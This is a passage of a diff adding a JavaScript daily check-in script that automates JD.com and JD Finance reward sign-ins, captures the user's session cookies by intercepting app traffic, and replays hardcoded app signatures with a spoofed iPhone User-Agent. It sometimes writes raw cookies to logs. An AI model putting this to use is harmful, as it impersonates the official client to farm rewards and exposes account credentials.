(data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function 